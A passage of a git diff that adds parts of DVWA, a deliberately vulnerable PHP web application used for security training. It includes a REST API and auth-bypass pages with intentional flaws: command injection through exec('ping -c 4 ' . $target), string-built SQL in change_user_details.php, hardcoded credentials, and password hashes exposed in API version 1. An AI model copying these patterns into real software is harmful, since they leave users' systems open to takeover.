$words)); + } else { + $response['status_code_header'] = 'HTTP/1.1 500 Internal Server Error'; + $response['body'] = json_encode (array ("status" => "Words not specified")); + } + return $response; + } + + #[OAT\Post( + tags: ["health"], + path: '/vulnerabilities/api/v2/health/connectivity', + operationId: 'checkConnectivity', + description: 'The server occasionally loses connectivity to other systems and so this can be used to check connectivity status.', + parameters: [ + new OAT\RequestBody ( + description: 'Remote host.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: Target::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + ] + ) + ] + + private function checkConnectivity() { + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (array_key_exists ("target", $input)) { + $target = $input['target']; + + exec ("ping -c 4 " . $target, $output, $ret_var); + + if ($ret_var == 0) { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("status" => "OK")); + } else { + $response['status_code_header'] = 'HTTP/1.1 500 Internal Server Error'; + $response['body'] = json_encode (array ("status" => "Connection failed")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 500 Internal Server Error'; + $response['body'] = json_encode (array ("status" => "Target not specified")); + } + return $response; + } + + #[OAT\Get( + tags: ["health"], + path: '/vulnerabilities/api/v2/health/status', + operationId: 'getHealthStatus', + description: 'Get the health of the system.', + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + ] + ) + ] + + private function getStatus() { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("status" => "OK")); + return $response; + } + + #[OAT\Get( + tags: ["health"], + path: '/vulnerabilities/api/v2/health/ping', + operationId: 'ping', + description: 'Simple ping/pong to check connectivity.', + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + ] + ) + ] + private function ping() { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("Ping" => "Pong")); + return $response; + } + + public function processRequest() { + switch ($this->requestMethod) { + case 'POST': + switch ($this->command) { + case "echo": + $response = $this->echo(); + break; + case "connectivity": + $response = $this->checkConnectivity(); + break; + default: + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + }; + break; + case 'GET': + switch ($this->command) { + case "status": + $response = $this->getStatus(); + break; + case "ping": + $response = $this->ping(); + break; + default: + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + }; + break; + case 'OPTIONS': + $gc = new GenericController("options"); + $gc->processRequest(); + break; + default: + $gc = new GenericController("notSupported"); + $gc->processRequest(); + break; + } + header($response['status_code_header']); + if ($response['body']) { + echo $response['body']; + } + } +} + +#[OAT\Schema(required: ['target'])] +final class Target { + #[OAT\Property(example: "digi.ninja")] + public string $target; +} + +#[OAT\Schema(required: ['words'])] +final class Words { + #[OAT\Property(example: "Hello World")] + public string $words; +} + diff --git a/examples/dvwa/vulnerabilities/api/src/Helpers.php b/examples/dvwa/vulnerabilities/api/src/Helpers.php new file mode 100644 index 0000000..d7d5a59 --- /dev/null +++ b/examples/dvwa/vulnerabilities/api/src/Helpers.php @@ -0,0 +1,15 @@ + "Invalid content type, expected JSON")); + return $response; + } + } +} diff --git a/examples/dvwa/vulnerabilities/api/src/Login.php b/examples/dvwa/vulnerabilities/api/src/Login.php new file mode 100644 index 0000000..8b82f62 --- /dev/null +++ b/examples/dvwa/vulnerabilities/api/src/Login.php @@ -0,0 +1,48 @@ + $tokenObj->create_token(self::ACCESS_TOKEN_SECRET, $now + self::ACCESS_TOKEN_LIFE), + "refresh_token" => $tokenObj->create_token(self::REFRESH_TOKEN_SECRET, $now + self::REFRESH_TOKEN_LIFE), + "token_type" => "bearer", + "expires_in" => self::ACCESS_TOKEN_LIFE) + ); + return $token; + } + + public static function check_access_token($token) { + $tokenObj = new Token(); + $decrypted = $tokenObj->decrypt_token ($token); + + if ($decrypted === false) { + return false; + } + if ($decrypted['secret'] == self::ACCESS_TOKEN_SECRET && $decrypted['expires'] > time()) { + return true; + } + return false; + } + + public static function check_refresh_token($token) { + $tokenObj = new Token(); + $decrypted = $tokenObj->decrypt_token ($token); + + if ($decrypted['secret'] == self::REFRESH_TOKEN_SECRET && $decrypted['expires'] > time()) { + return true; + } + return false; + } +} diff --git a/examples/dvwa/vulnerabilities/api/src/LoginController.php b/examples/dvwa/vulnerabilities/api/src/LoginController.php new file mode 100644 index 0000000..fa3e34f --- /dev/null +++ b/examples/dvwa/vulnerabilities/api/src/LoginController.php @@ -0,0 +1,282 @@ +requestMethod = $requestMethod; + $this->command = $command; + } + + # + # Add one of these for refresh + # + #[OAT\Post( + tags: ["login"], + path: '/vulnerabilities/api/v2/login/login', + operationId: 'login', + description: 'Login as user.', + parameters: [ + new OAT\RequestBody ( + description: 'The login credentials.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: Credentials::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + new OAT\Response( + response: 401, + description: 'Invalid credentials.', + ), + ] + ) + ] + + private function loginJSON() { + $ret = Helpers::check_content_type(); + if ($ret !== true) { + return $ret; + } + + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (array_key_exists ("username", $input) && + array_key_exists ("password", $input)) { + $username = $input['username']; + $password = $input['password']; + + if ($username == "mrbennett" && $password == "becareful") { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("token" => Login::create_token())); + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid credentials")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing credentials")); + } + return $response; + } + + # This is an attempt at an OAUTH2 client password authentication flow + private function login() { + # Default fail, just in case. + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Authentication failed")); + + if (array_key_exists ("PHP_AUTH_USER", $_SERVER) && + array_key_exists ("PHP_AUTH_PW", $_SERVER)) { + $client_id = $_SERVER['PHP_AUTH_USER']; + $client_secret = $_SERVER['PHP_AUTH_PW']; + + # App auth check + if ($client_id == "1471.dvwa.digi.ninja" && $client_secret == "ABigLongSecret") { + + if (array_key_exists ("grant_type", $_POST)) { + switch ($_POST['grant_type']) { + case "password": + if (array_key_exists ("username", $_POST) && + array_key_exists ("password", $_POST)) { + $username = $_POST['username']; + $password = $_POST['password']; + + if ($username == "mrbennett" && $password == "becareful") { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = Login::create_token(); + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid user credentials")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing user credentials")); + } + break; + case "refresh_token": + if (array_key_exists ("refresh_token", $_POST)) { + $refresh_token = $_POST['refresh_token']; + + # Because this is sent in a POST body, any + characters + # get replaced by a space when the URL decode happens. This + # puts them back to plus characters. + $ref = str_replace (" ", "+", $refresh_token); + + if (Login::check_refresh_token($ref)) { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = Login::create_token(); + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid refresh token")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing refresh token")); + } + break; + default: + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Unknown grant type")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing grant type")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid clientid/clientsecret credentials")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing clientid/clientsecret credentials")); + } + + return $response; + } + + private function refresh() { + /* + echo "Hello {$_SERVER['PHP_AUTH_USER']}.
"; + echo "You entered {$_SERVER['PHP_AUTH_PW']} as your password.
"; + */ + $ret = Helpers::check_content_type(); + if ($ret !== true) { + return $ret; + } + + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (array_key_exists ("refresh_token", $input)) { + if (array_key_exists ("grant_type", $input)) { + $token = $input['token']; + if (Login::check_access_token($token)) { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("token" => "Valid")); + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing token")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing token")); + } + return $response; + } + + #[OAT\Post( + tags: ["login"], + path: '/vulnerabilities/api/v2/login/check_token', + operationId: 'check_token', + description: 'Check a token is valid.', + parameters: [ + new OAT\RequestBody ( + description: 'The token to test.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: Token::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + new OAT\Response( + response: 401, + description: 'Token is invalid.', + ), + ] + ) + ] + + private function check_token() { + $ret = Helpers::check_content_type(); + if ($ret !== true) { + return $ret; + } + + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (array_key_exists ("token", $input)) { + $token = $input['token']; + if (Login::check_access_token($token)) { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode (array ("token" => "Valid")); + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid")); + } + } else { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Missing token")); + } + return $response; + } + + public function processRequest() { + switch ($this->requestMethod) { + case 'POST': + switch ($this->command) { + case "refresh": + $response = $this->login(); + break; + case "login": + $response = $this->login(); + break; + case "check_token": + $response = $this->check_token(); + break; + default: + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + }; + break; + case 'OPTIONS': + $gc = new GenericController("options"); + $gc->processRequest(); + break; + default: + $gc = new GenericController("notSupported"); + $gc->processRequest(); + break; + } + header($response['status_code_header']); + if ($response['body']) { + echo $response['body']; + } + } +} + +#[OAT\Schema(required: ['username', 'password'])] +final class Credentials { + #[OAT\Property(example: "user")] + public string $username; + #[OAT\Property(example: "password")] + public string $password; +} + +/* +Moving this to its own thing +#[OAT\Schema(required: ['token'])] +final class Token { + #[OAT\Property(example: "11111")] + public string $token; +} +*/ diff --git a/examples/dvwa/vulnerabilities/api/src/Order.php b/examples/dvwa/vulnerabilities/api/src/Order.php new file mode 100644 index 0000000..6f96042 --- /dev/null +++ b/examples/dvwa/vulnerabilities/api/src/Order.php @@ -0,0 +1,80 @@ +id = $id; + $this->name = $name; + $this->address = $address; + $this->items = $items; + $this->status = $status; + } + + public function toArray($version) { + $a = array ( + "id" => $this->id, + "name" => $this->name, + "address" => $this->address, + "items" => $this->items, + "status" => $this->status, + ); + + return $a; + } +} + +#[OAT\Schema(required: ['level', 'name'])] +final class OrderAdd +{ + #[OAT\Property(example: "fred")] + public string $name; + + #[OAT\Property(example: "1 High Street, Atown")] + public string $address; + + #[OAT\Property(example: "2 * brushes")] + public string $items; +} + +#[OAT\Schema()] +final class OrderUpdate +{ + #[OAT\Property(example: "fred")] + public string $name; + + #[OAT\Property(example: "1 High Street, Atown")] + public string $address; + + #[OAT\Property(example: "2 * brushes")] + public string $items; +} diff --git a/examples/dvwa/vulnerabilities/api/src/OrderController.php b/examples/dvwa/vulnerabilities/api/src/OrderController.php new file mode 100644 index 0000000..eebe58c --- /dev/null +++ b/examples/dvwa/vulnerabilities/api/src/OrderController.php @@ -0,0 +1,337 @@ +data = array ( + 1 => new Order (1, "Tony", "BBC Television Centre, London W3 6XZ", "5 * brushes", 0), + 2 => new Order (2, "Morph", "Wooden Box, Corner of the table, The Studio", "plasticine", 0), + 3 => new Order (3, "Nailbrush", "BBC Television Centre, London W3 6XZ", "Spare bristles", 1), + ); + $this->requestMethod = $requestMethod; + $this->orderId = $orderId; + $this->version = $version; + } + + private function checkToken() { + if (array_key_exists ("HTTP_AUTHORIZATION", $_SERVER)) { + $header = $_SERVER['HTTP_AUTHORIZATION']; + $bits = explode (" ", $header); + if (count ($bits) == 2) { + if (strtolower($bits[0]) == "bearer") { + return (Login::check_access_token($bits[1])); + } + } + } + + return false; + } + + private function validateAdd($input) + { + if (! isset($input['name'])) { + return false; + } + if (! isset($input['address'])) { + return false; + } + if (! isset($input['items'])) { + return false; + } + return true; + } + + private function validateUpdate($input) + { + if (isset($input['name']) || isset($input['address']) || isset ($input['items'])) { + return true; + } + return false; + } + + /* + type can be "http", "apiKey", "oauth2", "openIdConnect" + * https://zircote.github.io/swagger-php/guide/cookbook.html#referencing-a-security-scheme + */ + + #[OAT\SecurityScheme( + name :"authorization", + securityScheme :"http", + type :"http", + ) + ] + + #[OAT\Get( + tags: ["order"], + path: '/vulnerabilities/api/v2/order/{id}', + operationId: 'getOrderByID', + description: 'Get a order by ID.', + security: [ "basicAuth" ], + parameters: [ + new OAT\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\Schema(type: 'integer')), + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent (ref: '#/components/schemas/Order'), + + ), + new OAT\Response( + response: 404, + description: 'Order not found.', + ), + ] + ) + ] + + private function getOrder($id) + { + if (!$this->checkToken()) { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid or missing token")); + return $response; + } + + if (!array_key_exists ($id, $this->data)) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + } + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode ($this->data[$id]->toArray($this->version)); + return $response; + } + + #[OAT\Get( + tags: ["order"], + path: '/vulnerabilities/api/v2/order/', + operationId: 'getOrders', + description: 'Get all orders.', + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent( + type: 'array', + items: new OAT\Items(ref: '#/components/schemas/Order') + ) + ), + ] + ) + ] + + private function getAllOrders() { + if (!$this->checkToken()) { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid or missing token")); + return $response; + } + + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $all = array(); + foreach ($this->data as $order) { + $all[] = $order->toArray($this->version); + } + $response['body'] = json_encode($all); + return $response; + } + + #[OAT\Post( + tags: ["order"], + path: '/vulnerabilities/api/v2/order/', + operationId: 'addOrder', + description: 'Create a new order.', + parameters: [ + new OAT\RequestBody ( + description: 'Order data.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: OrderAdd::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent (ref: '#/components/schemas/Order'), + ), + new OAT\Response( + response: 422, + description: 'Invalid order object provided', + ), + ] + ) + ] + + private function addOrder() + { + if (!$this->checkToken()) { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid or missing token")); + return $response; + } + + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (! $this->validateAdd($input)) { + $gc = new GenericController("unprocessable"); + $gc->processRequest(); + exit(); + } + $order = new Order(null, $input['name'], $input['address'], $input['items'], 0); + $this->data[] = $order; + $response['status_code_header'] = 'HTTP/1.1 201 Created'; + $response['body'] = json_encode($order->toArray($this->version)); + return $response; + } + + #[OAT\Put( + tags: ["order"], + path: '/vulnerabilities/api/v2/order/{id}', + operationId: 'updateOrder', + description: 'Update an order by ID.', + parameters: [ + new OAT\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\Schema(type: 'integer')), + new OAT\RequestBody ( + description: 'New order data.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: OrderUpdate::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent (ref: '#/components/schemas/Order'), + ), + new OAT\Response( + response: 404, + description: 'Order not found', + ), + new OAT\Response( + response: 422, + description: 'Invalid order object provided', + ), + ] + ) + ] + + private function updateOrder($id) + { + if (!$this->checkToken()) { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid or missing token")); + return $response; + } + + if (!array_key_exists ($id, $this->data)) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + } + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (! $this->validateUpdate($input)) { + $gc = new GenericController("unprocessable"); + $gc->processRequest(); + exit(); + } + if (array_key_exists ("name", $input)) { + $this->data[$id]->name = $input['name']; + } + if (array_key_exists ("address", $input)) { + $this->data[$id]->address = $input['address']; + } + if (array_key_exists ("items", $input)) { + $this->data[$id]->items = $input['items']; + } + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode ($this->data[$id]->toArray($this->version)); + return $response; + } + + #[OAT\Delete( + tags: ["order"], + path: '/vulnerabilities/api/v2/order/{id}', + operationId: 'deleteOrderById', + description: 'Delete order by ID.', + parameters: [ + new OAT\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\Schema(type: 'integer')), + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + new OAT\Response( + response: 404, + description: 'Order not found', + ), + ] + ) + ] + + private function deleteOrder($id) { + if (!$this->checkToken()) { + $response['status_code_header'] = 'HTTP/1.1 401 Unauthorized'; + $response['body'] = json_encode (array ("status" => "Invalid or missing token")); + return $response; + } + + if (!array_key_exists ($id, $this->data)) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + } + unset ($this->data[$id]); + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = null; + return $response; + } + + public function processRequest() { + switch ($this->requestMethod) { + case 'GET': + if (isset ($this->orderId) && is_numeric ($this->orderId)) { + $response = $this->getOrder($this->orderId); + } else { + $response = $this->getAllOrders(); + }; + break; + case 'POST': + $response = $this->addOrder(); + break; + case 'PUT': + $response = $this->updateOrder($this->orderId); + break; + case 'DELETE': + $response = $this->deleteOrder($this->orderId); + break; + case 'OPTIONS': + $gc = new GenericController("options"); + $gc->processRequest(); + break; + default: + $gc = new GenericController("notSupported"); + $gc->processRequest(); + exit(); + break; + } + header($response['status_code_header']); + if ($response['body']) { + echo $response['body']; + } + } +} diff --git a/examples/dvwa/vulnerabilities/api/src/Token.php b/examples/dvwa/vulnerabilities/api/src/Token.php new file mode 100644 index 0000000..e9a2bd9 --- /dev/null +++ b/examples/dvwa/vulnerabilities/api/src/Token.php @@ -0,0 +1,62 @@ + $secret, + "expires" => $expires, + ))); + return $token; + } + + public function decrypt_token($token) { + $decrypted = self::decrypt($token); + + if ($decrypted === false) { + return false; + } + + $token = json_decode ($decrypted, true); + return $token; + } +} + +?> diff --git a/examples/dvwa/vulnerabilities/api/src/User.php b/examples/dvwa/vulnerabilities/api/src/User.php new file mode 100644 index 0000000..76560cb --- /dev/null +++ b/examples/dvwa/vulnerabilities/api/src/User.php @@ -0,0 +1,77 @@ +id = $id; + $this->name = $name; + $this->level = $level; + $this->password = $password; + } + + public function toArray($version) { + switch ($version) { + case 1: + $a = array ( + "id" => $this->id, + "name" => $this->name, + "level" => $this->level, + "password" => $this->password, + ); + break; + default: + case 2: + $a = array ( + "id" => $this->id, + "name" => $this->name, + "level" => $this->level, + ); + break; + } + + return $a; + } +} + +#[OAT\Schema(required: ['level', 'name'])] +final class UserAdd +{ + #[OAT\Property(example: "fred")] + public string $name; + + #[OAT\Property(type: 'integer', example: 1)] + public string $level; +} + +#[OAT\Schema(required: ['name'])] +final class UserUpdate +{ + #[OAT\Property(example: "fred")] + public string $name; +} diff --git a/examples/dvwa/vulnerabilities/api/src/UserController.php b/examples/dvwa/vulnerabilities/api/src/UserController.php new file mode 100644 index 0000000..b39e968 --- /dev/null +++ b/examples/dvwa/vulnerabilities/api/src/UserController.php @@ -0,0 +1,298 @@ +data = array ( + 1 => new User (1, "tony", 0, '1c8bfe8f801d79745c4631d09fff36c82aa37fc4cce4fc946683d7b336b63032'), + 2 => new User (2, "morph", 1, 'e5326ba4359f77c2623244acb04f6ac35c4dfca330ebcccdf9b734e5b1df90a8'), + 3 => new User (3, "chas", 1, 'a89237fc1f9dd8d424d8b8b98b890dbc4a817bfde59af17c39debcc4a14c21de'), + ); + $this->requestMethod = $requestMethod; + $this->userId = $userId; + $this->version = $version; + } + + private function validateAdd($input) + { + if (! isset($input['name'])) { + return false; + } + if (! isset($input['level'])) { + return false; + } + if (!is_numeric ($input['level'])) { + return false; + } + return true; + } + + private function validateUpdate($input) + { + if (! isset($input['name'])) { + return false; + } + return true; + } + + #[OAT\Get( + tags: ["user"], + path: '/vulnerabilities/api/v2/user/{id}', + operationId: 'getUserByID', + description: 'Get a user by ID.', + parameters: [ + new OAT\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\Schema(type: 'integer')), + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent (ref: '#/components/schemas/User'), + + ), + new OAT\Response( + response: 404, + description: 'User not found.', + ), + ] + ) + ] + + private function getUser($id) + { + if (!array_key_exists ($id, $this->data)) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + } + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode ($this->data[$id]->toArray($this->version)); + return $response; + } + + #[OAT\Get( + tags: ["user"], + path: '/vulnerabilities/api/v2/user/', + operationId: 'getUsers', + description: 'Get all users.', + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent( + type: 'array', + items: new OAT\Items(ref: '#/components/schemas/User') + ) + ), + ] + ) + ] + + private function getAllUsers() { + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $all = array(); + foreach ($this->data as $user) { + $all[] = $user->toArray($this->version); + } + $response['body'] = json_encode($all); + return $response; + } + + #[OAT\Post( + tags: ["user"], + path: '/vulnerabilities/api/v2/user/', + operationId: 'addUser', + description: 'Create a new user.', + parameters: [ + new OAT\RequestBody ( + description: 'User data.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: UserAdd::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent (ref: '#/components/schemas/User'), + ), + new OAT\Response( + response: 422, + description: 'Invalid user object provided', + ), + ] + ) + ] + + private function addUser() + { + $ret = Helpers::check_content_type(); + if ($ret !== true) { + return $ret; + } + + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (! $this->validateAdd($input)) { + $gc = new GenericController("unprocessable"); + $gc->processRequest(); + exit(); + } + $user = new User(null, $input['name'], intval ($input['level']), hash ("sha256", "password")); + $this->data[] = $user; + $response['status_code_header'] = 'HTTP/1.1 201 Created'; + $response['body'] = json_encode($user->toArray($this->version)); + return $response; + } + + #[OAT\Put( + tags: ["user"], + path: '/vulnerabilities/api/v2/user/{id}', + operationId: 'updateUser', + description: 'Update a user by ID.', + parameters: [ + new OAT\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\Schema(type: 'integer')), + new OAT\RequestBody ( + description: 'New user data.', + content: new OAT\MediaType( + mediaType: 'application/json', + schema: new OAT\Schema(ref: UserUpdate::class) + ) + ), + + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + content: new OAT\JsonContent (ref: '#/components/schemas/User'), + ), + new OAT\Response( + response: 404, + description: 'User not found', + ), + new OAT\Response( + response: 422, + description: 'Invalid user object provided', + ), + ] + ) + ] + + private function updateUser($id) + { + if (!array_key_exists ($id, $this->data)) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + } + $input = (array) json_decode(file_get_contents('php://input'), TRUE); + if (! $this->validateUpdate($input)) { + $gc = new GenericController("unprocessable"); + $gc->processRequest(); + exit(); + } + if (array_key_exists ("name", $input)) { + $this->data[$id]->name = $input['name']; + } + if (array_key_exists ("level", $input)) { + $this->data[$id]->level = intval ($input['level']); + } + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = json_encode ($this->data[$id]->toArray($this->version)); + return $response; + } + + #[OAT\Delete( + tags: ["user"], + path: '/vulnerabilities/api/v2/user/{id}', + operationId: 'deleteUserById', + description: 'Delete user by ID.', + parameters: [ + new OAT\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\Schema(type: 'integer')), + ], + responses: [ + new OAT\Response( + response: 200, + description: 'Successful operation.', + ), + new OAT\Response( + response: 404, + description: 'User not found', + ), + ] + ) + ] + + private function deleteUser($id) { + if (!array_key_exists ($id, $this->data)) { + $gc = new GenericController("notFound"); + $gc->processRequest(); + exit(); + } + unset ($this->data[$id]); + $response['status_code_header'] = 'HTTP/1.1 200 OK'; + $response['body'] = null; + return $response; + } + + public function processRequest() { + switch ($this->requestMethod) { + case 'GET': + if ($this->userId) { + $response = $this->getUser($this->userId); + } else { + $response = $this->getAllUsers(); + }; + break; + case 'POST': + $response = $this->addUser(); + break; + case 'PUT': + $response = $this->updateUser($this->userId); + break; + case 'DELETE': + $response = $this->deleteUser($this->userId); + break; + case 'OPTIONS': + $gc = new GenericController("options"); + $gc->processRequest(); + break; + default: + $gc = new GenericController("notSupported"); + $gc->processRequest(); + exit(); + break; + } + header($response['status_code_header']); + if ($response['body']) { + echo $response['body']; + } + } +} diff --git a/examples/dvwa/vulnerabilities/authbypass/authbypass.js b/examples/dvwa/vulnerabilities/authbypass/authbypass.js new file mode 100644 index 0000000..12b3555 --- /dev/null +++ b/examples/dvwa/vulnerabilities/authbypass/authbypass.js @@ -0,0 +1,53 @@ +function show_save_result (data) { + if (data.result == 'ok') { + document.getElementById('save_result').innerText = 'Save Successful'; + } else { + document.getElementById('save_result').innerText = 'Save Failed'; + } +} + +function submit_change(id) { + first_name = document.getElementById('first_name_' + id).value + surname = document.getElementById('surname_' + id).value + + fetch('change_user_details.php', { + method: 'POST', + headers: { + 'Accept': 'application/json', + 'Content-Type': 'application/json' + }, + body: JSON.stringify({ 'id': id, 'first_name': first_name, 'surname': surname }) + } + ) + .then((response) => response.json()) + .then((data) => show_save_result(data)); +} + +function populate_form() { + var xhr= new XMLHttpRequest(); + xhr.open('GET', 'get_user_data.php', true); + xhr.onreadystatechange= function() { + if (this.readyState!==4) { + return; + } + if (this.status!==200) { + return; + } + const users = JSON.parse (this.responseText); + table_body = document.getElementById('user_table').getElementsByTagName('tbody')[0]; + users.forEach(updateTable); + + function updateTable (user) { + var row = table_body.insertRow(0); + var cell0 = row.insertCell(-1); + cell0.innerHTML = user['user_id'] + ''; + var cell1 = row.insertCell(1); + cell1.innerHTML = ''; + var cell2 = row.insertCell(2); + cell2.innerHTML = ''; + var cell3 = row.insertCell(3); + cell3.innerHTML = ''; + } + }; + xhr.send(); +} diff --git a/examples/dvwa/vulnerabilities/authbypass/change_user_details.php b/examples/dvwa/vulnerabilities/authbypass/change_user_details.php new file mode 100644 index 0000000..da54d59 --- /dev/null +++ b/examples/dvwa/vulnerabilities/authbypass/change_user_details.php @@ -0,0 +1,52 @@ + "fail", "error" => "Access denied")); + exit; +} + +if ($_SERVER['REQUEST_METHOD'] != "POST") { + $result = array ( + "result" => "fail", + "error" => "Only POST requests are accepted" + ); + echo json_encode($result); + exit; +} + +try { + $json = file_get_contents('php://input'); + $data = json_decode($json); + if (is_null ($data)) { + $result = array ( + "result" => "fail", + "error" => 'Invalid format, expecting "{id: {user ID}, first_name: "{first name}", surname: "{surname}"}' + + ); + echo json_encode($result); + exit; + } +} catch (Exception $e) { + $result = array ( + "result" => "fail", + "error" => 'Invalid format, expecting \"{id: {user ID}, first_name: "{first name}", surname: "{surname}\"}' + + ); + echo json_encode($result); + exit; +} + +$query = "UPDATE users SET first_name = '" . $data->first_name . "', last_name = '" . $data->surname . "' where user_id = " . $data->id . ""; +$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + +print json_encode (array ("result" => "ok")); +exit; +?> diff --git a/examples/dvwa/vulnerabilities/authbypass/get_user_data.php b/examples/dvwa/vulnerabilities/authbypass/get_user_data.php new file mode 100644 index 0000000..f2eb7c2 --- /dev/null +++ b/examples/dvwa/vulnerabilities/authbypass/get_user_data.php @@ -0,0 +1,42 @@ + "fail", "error" => "Access denied")); + exit; +} + +$query = "SELECT user_id, first_name, last_name FROM users"; +$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); + +$guestbook = ''; +$users = array(); + +while ($row = mysqli_fetch_row($result) ) { + if( dvwaSecurityLevelGet() == 'impossible' ) { + $user_id = $row[0]; + $first_name = htmlspecialchars( $row[1] ); + $surname = htmlspecialchars( $row[2] ); + } else { + $user_id = $row[0]; + $first_name = $row[1]; + $surname = $row[2]; + } + + $user = array ( + "user_id" => $user_id, + "first_name" => $first_name, + "surname" => $surname + ); + $users[] = $user; +} + +print json_encode ($users); +exit; +?> diff --git 